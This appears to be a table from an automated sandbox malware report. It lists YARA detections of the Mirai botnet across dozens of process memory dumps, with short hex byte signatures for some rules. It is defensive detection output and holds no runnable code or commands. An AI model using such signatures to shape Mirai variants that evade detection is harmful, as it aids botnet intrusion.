6750.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6750.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6750.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6750.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6750.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6750.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6941.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6941.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6941.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6941.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6941.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6941.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6351.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6351.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6351.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6351.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6351.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6351.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6596.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6596.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6596.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6596.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6596.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6596.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6652.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6652.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6652.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6652.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6652.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6652.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6603.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6603.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6603.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6603.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6603.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6603.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7050.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7050.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7050.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7050.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7050.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7050.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7102.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7102.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7102.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7102.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7102.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7102.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6879.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6879.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6879.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6879.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6879.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6879.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6367.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6875.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6875.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6875.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6875.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6875.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6875.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7145.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7145.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7145.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7145.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7145.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7145.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7211.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7211.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7211.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7211.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7211.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7211.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6889.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6889.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6889.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6889.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6889.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6889.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6713.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6313.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6313.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6313.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6313.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6313.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6313.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7336.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7289.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6458.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6458.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6458.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6458.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6458.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6458.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7340.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7340.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7340.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7340.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7340.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7340.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7084.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7084.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7084.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7084.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7084.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7084.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6369.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6369.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6369.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6369.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6369.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6369.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7198.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7198.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7198.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7198.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7198.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7198.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6511.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6511.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6511.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6511.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6511.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6511.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7382.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7382.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7382.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7382.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7382.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7382.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7076.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7076.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7076.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7076.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7076.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7076.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6451.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6451.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6451.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6451.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6451.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6451.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6930.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6930.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6930.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6930.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6930.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6930.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6460.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6460.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6460.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6460.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6460.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6460.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6745.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6745.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6745.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6745.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6745.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6745.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6744.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6744.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6744.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6744.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6744.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6744.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6341.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6341.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6341.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6341.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
